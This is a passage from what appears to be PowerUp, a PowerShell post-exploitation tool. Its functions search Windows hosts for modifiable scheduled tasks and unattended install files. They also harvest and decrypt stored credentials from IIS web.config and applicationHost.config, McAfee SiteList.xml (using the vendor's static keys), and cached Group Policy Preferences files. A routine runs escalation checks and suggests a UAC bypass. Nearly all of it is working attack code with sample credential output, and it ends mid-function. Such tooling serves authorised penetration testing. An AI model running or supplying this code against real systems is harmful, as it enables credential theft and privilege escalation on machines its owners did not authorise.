        Get-ChildItem -Path $Path -Recurse | Where-Object { -not $_.PSIsContainer } | ForEach-Object {
            try {
                $TaskName = $_.Name
                $TaskXML = [xml] (Get-Content $_.FullName)
                if($TaskXML.Task.Triggers) {
    
                    $TaskTrigger = $TaskXML.Task.Triggers.OuterXML
    
                    # check schtask command
                    $TaskXML.Task.Actions.Exec.Command | Get-ModifiablePath | ForEach-Object {
                        $Out = New-Object PSObject
                        $Out | Add-Member Noteproperty 'TaskName' $TaskName
                        $Out | Add-Member Noteproperty 'TaskFilePath' $_
                        $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger
                        $Out
                    }
    
                    # check schtask arguments
                    $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiablePath | ForEach-Object {
                        $Out = New-Object PSObject
                        $Out | Add-Member Noteproperty 'TaskName' $TaskName
                        $Out | Add-Member Noteproperty 'TaskFilePath' $_
                        $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger
                        $Out
                    }
                }
            }
            catch {
                Write-Verbose "Error: $_"
            }
        }
    
        $ErrorActionPreference = $OrigError
    }
    
    
    function Get-UnattendedInstallFile {
    <#
        .SYNOPSIS
    
            Checks several locations for remaining unattended installation files,
            which may have deployment credentials.
    
        .EXAMPLE
    
            PS C:\> Get-UnattendedInstallFile
    
            Finds any remaining unattended installation files.
    
        .LINK
    
            http://www.fuzzysecurity.com/tutorials/16.html
    #>
    
        $OrigError = $ErrorActionPreference
        $ErrorActionPreference = "SilentlyContinue"
    
        $SearchLocations = @(   "c:\sysprep\sysprep.xml",
                                "c:\sysprep\sysprep.inf",
                                "c:\sysprep.inf",
                                (Join-Path $Env:WinDir "\Panther\Unattended.xml"),
                                (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"),
                                (Join-Path $Env:WinDir "\Panther\Unattend.xml"),
                                (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"),
                                (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"),
                                (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml")
                            )
    
        # test the existence of each path and return anything found
        $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object {
            $Out = New-Object PSObject
            $Out | Add-Member Noteproperty 'UnattendPath' $_
            $Out
        }
    
        $ErrorActionPreference = $OrigError
    }
    
    
    function Get-WebConfig {
    <#
        .SYNOPSIS
    
            This script will recover cleartext and encrypted connection strings from all web.config
            files on the system.  Also, it will decrypt them if needed.
    
            Author: Scott Sutherland - 2014, NetSPI
            Author: Antti Rantasaari - 2014, NetSPI
    
        .DESCRIPTION
    
            This script will identify all of the web.config files on the system and recover the
            connection strings used to support authentication to backend databases.  If needed, the
            script will also decrypt the connection strings on the fly.  The output supports the
            pipeline which can be used to convert all of the results into a pretty table by piping
            to format-table.
    
        .EXAMPLE
    
            Return a list of cleartext and decrypted connect strings from web.config files.
    
            PS C:\> Get-WebConfig
            user   : s1admin
            pass   : s1password
            dbserv : 192.168.1.103\server1
            vdir   : C:\test2
            path   : C:\test2\web.config
            encr   : No
    
            user   : s1user
            pass   : s1password
            dbserv : 192.168.1.103\server1
            vdir   : C:\inetpub\wwwroot
            path   : C:\inetpub\wwwroot\web.config
            encr   : Yes
    
        .EXAMPLE
    
            Return a list of clear text and decrypted connect strings from web.config files.
    
            PS C:\>get-webconfig | Format-Table -Autosize
    
            user    pass       dbserv                vdir               path                          encr
            ----    ----       ------                ----               ----                          ----
            s1admin s1password 192.168.1.101\server1 C:\App1            C:\App1\web.config            No  
            s1user  s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No  
            s2user  s2password 192.168.1.102\server2 C:\App2            C:\App2\test\web.config       No  
            s2user  s2password 192.168.1.102\server2 C:\App2            C:\App2\web.config            Yes 
            s3user  s3password 192.168.1.103\server3 D:\App3            D:\App3\web.config            No 
    
         .LINK
    
            https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
            http://www.netspi.com
            https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
            http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
            http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx
    
         .NOTES
    
            Below is an alterantive method for grabbing connection strings, but it doesn't support decryption.
            for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings
    #>
    
        [CmdletBinding()]
        Param()
    
        $OrigError = $ErrorActionPreference
        $ErrorActionPreference = "SilentlyContinue"
    
        # Check if appcmd.exe exists
        if (Test-Path  ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) {
    
            # Create data table to house results
            $DataTable = New-Object System.Data.DataTable
    
            # Create and name columns in the data table
            $Null = $DataTable.Columns.Add("user")
            $Null = $DataTable.Columns.Add("pass")
            $Null = $DataTable.Columns.Add("dbserv")
            $Null = $DataTable.Columns.Add("vdir")
            $Null = $DataTable.Columns.Add("path")
            $Null = $DataTable.Columns.Add("encr")
    
            # Get list of virtual directories in IIS
            C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | 
            ForEach-Object {
    
                $CurrentVdir = $_
    
                # Converts CMD style env vars (%) to powershell env vars (env)
                if ($_ -like "*%*") {
                    $EnvarName = "`$Env:"+$_.split("%")[1]
                    $EnvarValue = Invoke-Expression $EnvarName
                    $RestofPath = $_.split("%")[2]
                    $CurrentVdir  = $EnvarValue+$RestofPath
                }
    
                # Search for web.config files in each virtual directory
                $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object {
    
                    # Set web.config path
                    $CurrentPath = $_.fullname
    
                    # Read the data from the web.config xml file
                    [xml]$ConfigFile = Get-Content $_.fullname
    
                    # Check if the connectionStrings are encrypted
                    if ($ConfigFile.configuration.connectionStrings.add) {
    
                        # Foreach connection string add to data table
                        $ConfigFile.configuration.connectionStrings.add| 
                        ForEach-Object {
    
                            [String]$MyConString = $_.connectionString
                            if($MyConString -like "*password*") {
                                $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
                                $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
                                $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
                                $ConfVdir = $CurrentVdir
                                $ConfPath = $CurrentPath
                                $ConfEnc = "No"
                                $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc)
                            }
                        }
                    }
                    else {
    
                        # Find newest version of aspnet_regiis.exe to use (it works with older versions)
                        $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe'  | Sort-Object -Descending | Select-Object fullname -First 1
    
                        # Check if aspnet_regiis.exe exists
                        if (Test-Path  ($AspnetRegiisPath.FullName)) {
    
                            # Setup path for temp web.config to the current user's temp dir
                            $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config"
    
                            # Remove existing temp web.config
                            if (Test-Path  ($WebConfigPath)) {
                                Remove-Item $WebConfigPath
                            }
    
                            # Copy web.config from vdir to user temp for decryption
                            Copy-Item $CurrentPath $WebConfigPath
    
                            # Decrypt web.config in user temp
                            $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName'
                            $Null = Invoke-Expression $AspnetRegiisCmd
    
                            # Read the data from the web.config in temp
                            [xml]$TMPConfigFile = Get-Content $WebConfigPath
    
                            # Check if the connectionStrings are still encrypted
                            if ($TMPConfigFile.configuration.connectionStrings.add) {
    
                                # Foreach connection string add to data table
                                $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object {
    
                                    [String]$MyConString = $_.connectionString
                                    if($MyConString -like "*password*") {
                                        $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
                                        $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
                                        $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
                                        $ConfVdir = $CurrentVdir
                                        $ConfPath = $CurrentPath
                                        $ConfEnc = 'Yes'
                                        $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc)
                                    }
                                }
    
                            }
                            else {
                                Write-Verbose "Decryption of $CurrentPath failed."
                                $False
                            }
                        }
                        else {
                            Write-Verbose 'aspnet_regiis.exe does not exist in the default location.'
                            $False
                        }
                    }
                }
            }
    
            # Check if any connection strings were found
            if( $DataTable.rows.Count -gt 0 ) {
                # Display results in list view that can feed into the pipeline
                $DataTable |  Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique
            }
            else {
                Write-Verbose 'No connection strings found.'
                $False
            }
        }
        else {
            Write-Verbose 'Appcmd.exe does not exist in the default location.'
            $False
        }
    
        $ErrorActionPreference = $OrigError
    }
    
    
    function Get-ApplicationHost {
     <#
        .SYNOPSIS
    
            This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system.
    
        .DESCRIPTION
    
            This script will decrypt and recover application pool and virtual directory passwords
            from the applicationHost.config file on the system.  The output supports the
            pipeline which can be used to convert all of the results into a pretty table by piping
            to format-table.
    
        .EXAMPLE
    
            Return application pool and virtual directory passwords from the applicationHost.config on the system.
    
            PS C:\> Get-ApplicationHost
            user    : PoolUser1
            pass    : PoolParty1!
            type    : Application Pool
            vdir    : NA
            apppool : ApplicationPool1
            user    : PoolUser2
            pass    : PoolParty2!
            type    : Application Pool
            vdir    : NA
            apppool : ApplicationPool2
            user    : VdirUser1
            pass    : VdirPassword1!
            type    : Virtual Directory
            vdir    : site1/vdir1/
            apppool : NA
            user    : VdirUser2
            pass    : VdirPassword2!
            type    : Virtual Directory
            vdir    : site2/
            apppool : NA
    
        .EXAMPLE
    
            Return a list of cleartext and decrypted connect strings from web.config files.
    
            PS C:\> Get-ApplicationHost | Format-Table -Autosize
    
            user          pass               type              vdir         apppool
            ----          ----               ----              ----         -------
            PoolUser1     PoolParty1!       Application Pool   NA           ApplicationPool1
            PoolUser2     PoolParty2!       Application Pool   NA           ApplicationPool2
            VdirUser1     VdirPassword1!    Virtual Directory  site1/vdir1/ NA
            VdirUser2     VdirPassword2!    Virtual Directory  site2/       NA
    
        .LINK
    
            https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
            http://www.netspi.com
            http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
            http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx
    
        .NOTES
    
            Author: Scott Sutherland - 2014, NetSPI
            Version: Get-ApplicationHost v1.0
            Comments: Should work on IIS 6 and Above
    #>
    
        $OrigError = $ErrorActionPreference
        $ErrorActionPreference = "SilentlyContinue"
    
        # Check if appcmd.exe exists
        if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
            # Create data table to house results
            $DataTable = New-Object System.Data.DataTable
    
            # Create and name columns in the data table
            $Null = $DataTable.Columns.Add("user")
            $Null = $DataTable.Columns.Add("pass")
            $Null = $DataTable.Columns.Add("type")
            $Null = $DataTable.Columns.Add("vdir")
            $Null = $DataTable.Columns.Add("apppool")
    
            # Get list of application pools
            Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
    
                # Get application pool name
                $PoolName = $_
    
                # Get username
                $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
                $PoolUser = Invoke-Expression $PoolUserCmd
    
                # Get password
                $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
                $PoolPassword = Invoke-Expression $PoolPasswordCmd
    
                # Check if credentials exists
                if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
                    # Add credentials to database
                    $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
                }
            }
    
            # Get list of virtual directories
            Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
    
                # Get Virtual Directory Name
                $VdirName = $_
    
                # Get username
                $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
                $VdirUser = Invoke-Expression $VdirUserCmd
    
                # Get password
                $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
                $VdirPassword = Invoke-Expression $VdirPasswordCmd
    
                # Check if credentials exists
                if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
                    # Add credentials to database
                    $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
                }
            }
    
            # Check if any passwords were found
            if( $DataTable.rows.Count -gt 0 ) {
                # Display results in list view that can feed into the pipeline
                $DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
            }
            else {
                # Status user
                Write-Verbose 'No application pool or virtual directory passwords were found.'
                $False
            }
        }
        else {
            Write-Verbose 'Appcmd.exe does not exist in the default location.'
            $False
        }
    
        $ErrorActionPreference = $OrigError
    }
    
    
    function Get-SiteListPassword {
    <#
        .SYNOPSIS
    
            Retrieves the plaintext passwords for found McAfee's SiteList.xml files.
            Based on Jerome Nokin (@funoverip)'s Python solution (in links).
    
            PowerSploit Function: Get-SiteListPassword
            Original Author: Jerome Nokin (@funoverip)
            PowerShell Port: @harmj0y
            License: BSD 3-Clause
            Required Dependencies: None
            Optional Dependencies: None
    
        .DESCRIPTION
    
            Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\,
            C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate
            credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword
            function that takes advantage of McAfee's static key encryption. Any decrypted credentials
            are output in custom objects. See links for more information.
    
        .PARAMETER Path
    
            Optional path to a SiteList.xml file or folder.
    
        .EXAMPLE
    
            PS C:\> Get-SiteListPassword
    
            EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
            UserName    :
            Path        : Products/CommonUpdater
            Name        : McAfeeHttp
            DecPassword : MyStrongPassword!
            Enabled     : 1
            DomainName  :
            Server      : update.nai.com:80
    
            EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
            UserName    : McAfeeService
            Path        : Repository$
            Name        : Paris
            DecPassword : MyStrongPassword!
            Enabled     : 1
            DomainName  : companydomain
            Server      : paris001
    
            EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
            UserName    : McAfeeService
            Path        : Repository$
            Name        : Tokyo
            DecPassword : MyStrongPassword!
            Enabled     : 1
            DomainName  : companydomain
            Server      : tokyo000
    
        .LINK
    
            https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
            https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
            https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
            https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf
    #>
    
        [CmdletBinding()]
        param(
            [Parameter(Position=0, ValueFromPipeline=$True)]
            [ValidateScript({Test-Path -Path $_ })]
            [String[]]
            $Path
        )
    
        BEGIN {
            function Local:Get-DecryptedSitelistPassword {
                # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
                # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
                # port by @harmj0y
                [CmdletBinding()]
                Param (
                    [Parameter(Mandatory=$True)]
                    [String]
                    $B64Pass
                )
    
                # make sure the appropriate assemblies are loaded
                Add-Type -Assembly System.Security
                Add-Type -Assembly System.Core
    
                # declare the encoding/crypto providers we need
                $Encoding = [System.Text.Encoding]::ASCII
                $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
                $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
    
                # static McAfee key XOR key LOL
                $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
    
                # xor the input b64 string with the static XOR key
                $I = 0;
                $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] }
    
                # build the static McAfee 3DES key TROLOL
                $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4
    
                # set the options we need
                $3DES.Mode = 'ECB'
                $3DES.Padding = 'None'
                $3DES.Key = $3DESKey
    
                # decrypt the unXor'ed block
                $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length)
    
                # ignore the padding for the result
                $Index = [Array]::IndexOf($Decrypted, [Byte]0)
                if($Index -ne -1) {
                    $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)])
                }
                else {
                    $DecryptedPass = $Encoding.GetString($Decrypted)
                }
    
                New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass}
            }
    
            function Local:Get-SitelistFields {
                [CmdletBinding()]
                Param (
                    [Parameter(Mandatory=$True)]
                    [String]
                    $Path
                )
    
                try {
                    [Xml]$SiteListXml = Get-Content -Path $Path
    
                    if($SiteListXml.InnerXml -Like "*password*") {
                        Write-Verbose "Potential password in found in $Path"
    
                        $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object {
                            try {
                                $PasswordRaw = $_.Password.'#Text'
    
                                if($_.Password.Encrypted -eq 1) {
                                    # decrypt the base64 password if it's marked as encrypted
                                    $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''}
                                }
                                else {
                                    $DecPassword = $PasswordRaw
                                }
    
                                $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server }
                                $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath }
    
                                $ObjectProperties = @{
                                    'Name' = $_.Name;
                                    'Enabled' = $_.Enabled;
                                    'Server' = $Server;
                                    'Path' = $Path;
                                    'DomainName' = $_.DomainName;
                                    'UserName' = $_.UserName;
                                    'EncPassword' = $PasswordRaw;
                                    'DecPassword' = $DecPassword;
                                }
                                New-Object -TypeName PSObject -Property $ObjectProperties
                            }
                            catch {
                                Write-Verbose "Error parsing node : $_"
                            }
                        }
                    }
                }
                catch {
                    Write-Warning "Error parsing file '$Path' : $_"
                }
            }
        }
    
        PROCESS {
            if($PSBoundParameters['Path']) {
                $XmlFilePaths = $Path
            }
            else {
                $XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\')
            }
    
            $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object {
                Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'"
                Get-SitelistFields -Path $_.Fullname
            }
        }
    }
    
    
    function Get-CachedGPPPassword {
    <#
        .SYNOPSIS
    
            Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host.
    
            PowerSploit Function: Get-CachedGPPPassword
            Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y
            License: BSD 3-Clause
            Required Dependencies: None
            Optional Dependencies: None
         
        .DESCRIPTION
    
            Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords.
    
        .EXAMPLE
    
            PS C:\> Get-CachedGPPPassword
    
    
            NewName   : [BLANK]
            Changed   : {2013-04-25 18:36:07}
            Passwords : {Super!!!Password}
            UserNames : {SuperSecretBackdoor}
            File      : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
                        C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
                        oups.xml
    
        .LINK
            
            http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
            https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
            https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
            http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
            http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
    #>
        
        [CmdletBinding()]
        Param()
        
        # Some XML issues between versions
        Set-StrictMode -Version 2
    
        # make sure the appropriate assemblies are loaded
        Add-Type -Assembly System.Security
        Add-Type -Assembly System.Core
        
        # helper that decodes and decrypts password
        function local:Get-DecryptedCpassword {
            [CmdletBinding()]
            Param (
                [string] $Cpassword 
            )
    
            try {
                # Append appropriate padding based on string length  
                $Mod = ($Cpassword.length % 4)
                
                switch ($Mod) {
                    '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
                    '2' {$Cpassword += ('=' * (4 - $Mod))}
                    '3' {$Cpassword += ('=' * (4 - $Mod))}
                }
    
                $Base64Decoded = [Convert]::FromBase64String($Cpassword)
                
                # Create a new AES .NET Crypto Object
                $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
                [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                     0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
                
                # Set IV to all nulls to prevent dynamic generation of IV value
                $AesIV = New-Object Byte[]($AesObject.IV.Length) 
                $AesObject.IV = $AesIV
                $AesObject.Key = $AesKey
                $DecryptorObject = $AesObject.CreateDecryptor() 
                [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
                
                return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
            } 
            
            catch {Write-Error $Error[0]}
        }  
        
        # helper that parses fields from the found xml preference files
        function local:Get-GPPInnerFields {
            [CmdletBinding()]
            Param (
                $File 
            )
        
            try {
                
                $Filename = Split-Path $File -Leaf
                [XML] $Xml = Get-Content ($File)
    
                $Cpassword = @()
                $UserName = @()
                $NewName = @()
                $Changed = @()
                $Password = @()
        
                # check for password field
                if ($Xml.innerxml -like "*cpassword*"){
                
                    Write-Verbose "Potential password in $File"
                    
                    switch ($Filename) {
                        'Groups.xml' {
                            $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        }
            
                        'Services.xml' {  
                            $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        }
            
                        'Scheduledtasks.xml' {
                            $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        }
            
                        'DataSources.xml' { 
                            $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}                          
                        }
                        
                        'Printers.xml' { 
                            $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        }
      
                        'Drives.xml' { 
                            $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                            $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 
                        }
                    }
               }
                         
               foreach ($Pass in $Cpassword) {
                   Write-Verbose "Decrypting $Pass"
                   $DecryptedPassword = Get-DecryptedCpassword $Pass
                   Write-Verbose "Decrypted a password of $DecryptedPassword"
                   #append any new passwords to array
                   $Password += , $DecryptedPassword
               }
                
                # put [BLANK] in variables
                if (-not $Password) {$Password = '[BLANK]'}
                if (-not $UserName) {$UserName = '[BLANK]'}
                if (-not $Changed)  {$Changed = '[BLANK]'}
                if (-not $NewName)  {$NewName = '[BLANK]'}
                      
                # Create custom object to output results
                $ObjectProperties = @{'Passwords' = $Password;
                                      'UserNames' = $UserName;
                                      'Changed' = $Changed;
                                      'NewName' = $NewName;
                                      'File' = $File}
                    
                $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
                Write-Verbose "The password is between {} and may be more than one value."
                if ($ResultsObject) {Return $ResultsObject} 
            }
    
            catch {Write-Error $Error[0]}
        }
        
        try {
            $AllUsers = $Env:ALLUSERSPROFILE
    
            if($AllUsers -notmatch 'ProgramData') {
                $AllUsers = "$AllUsers\Application Data"
            }
    
            # discover any locally cached GPP .xml files
            $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
        
            if ( -not $XMlFiles ) {
                Write-Verbose 'No preference files found.'
            }
            else {
                Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
    
                ForEach ($File in $XMLFiles) {
                    Get-GppInnerFields $File.Fullname
                }
            }
        }
    
        catch {Write-Error $Error[0]}
    }
    
    
    function Invoke-AllChecks {
    <#
        .SYNOPSIS
    
            Runs all functions that check for various Windows privilege escalation opportunities.
    
            Author: @harmj0y
            License: BSD 3-Clause
    
        .PARAMETER HTMLReport
    
            Write a HTML version of the report to SYSTEM.username.html.
    
        .EXAMPLE
    
            PS C:\> Invoke-AllChecks
    
            Runs all escalation checks and outputs a status report for discovered issues.
    
        .EXAMPLE
    
            PS C:\> Invoke-AllChecks -HTMLReport
    
            Runs all escalation checks and outputs a status report to SYSTEM.username.html
            detailing any discovered issues.
    #>
    
        [CmdletBinding()]
        Param(
            [Switch]
            $HTMLReport
        )
    
        if($HTMLReport) {
            #$HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"
    
            ConvertTo-HTML -Fragment -Pre "<H1>PowerUp Report for $($Env:ComputerName) - $($Env:UserName)</H1>`n<div class='aLine'></div>" | Out-File -Append $HtmlReportFile
        }
    
        # initial admin checks
    
        "`n[*] Running Invoke-AllChecks"
    
        $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
    
        if($IsAdmin){
            "[+] Current user already has local administrative privileges!"
    
            if($HTMLReport) {
                ConvertTo-HTML -Fragment -Pre "<H2>User Has Local Admin Privileges!</H2>" | Out-File -Append $HtmlReportFile
            }
        }
        else{
            "`n`n[*] Checking if user is in a local group with administrative privileges..."
    
            $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID
            if($CurrentUserSids -contains 'S-1-5-32-544') {
                "[+] User is in a local group that grants administrative privileges!"
                "[+] Run a BypassUAC attack to elevate privileges to admin."
    
                if($HTMLReport) {
                    ConvertTo-HTML -Fragment -Pre "<H2> User In Local Group With Administrative Privileges</H2>" | Out-File -Append $HtmlReportFile
                }
            }
        }
    
    
        # Service checks
    
        "`n`n[*] Checking for unquoted service paths..."
        $Results = Get-ServiceUnquoted
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Unquoted Service Paths</H2>" | Out-File -Append $HtmlReportFile
        }
    
        "`n`n[*] Checking service executable and argument permissions..."
        $Results = Get-ModifiableServiceFile
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Service File Permissions</H2>" | Out-File -Append $HtmlReportFile
        }
    
        "`n`n[*] Checking service permissions..."
        $Results = Get-ModifiableService
        $Results | Format-List
        if($HTMLReport) {
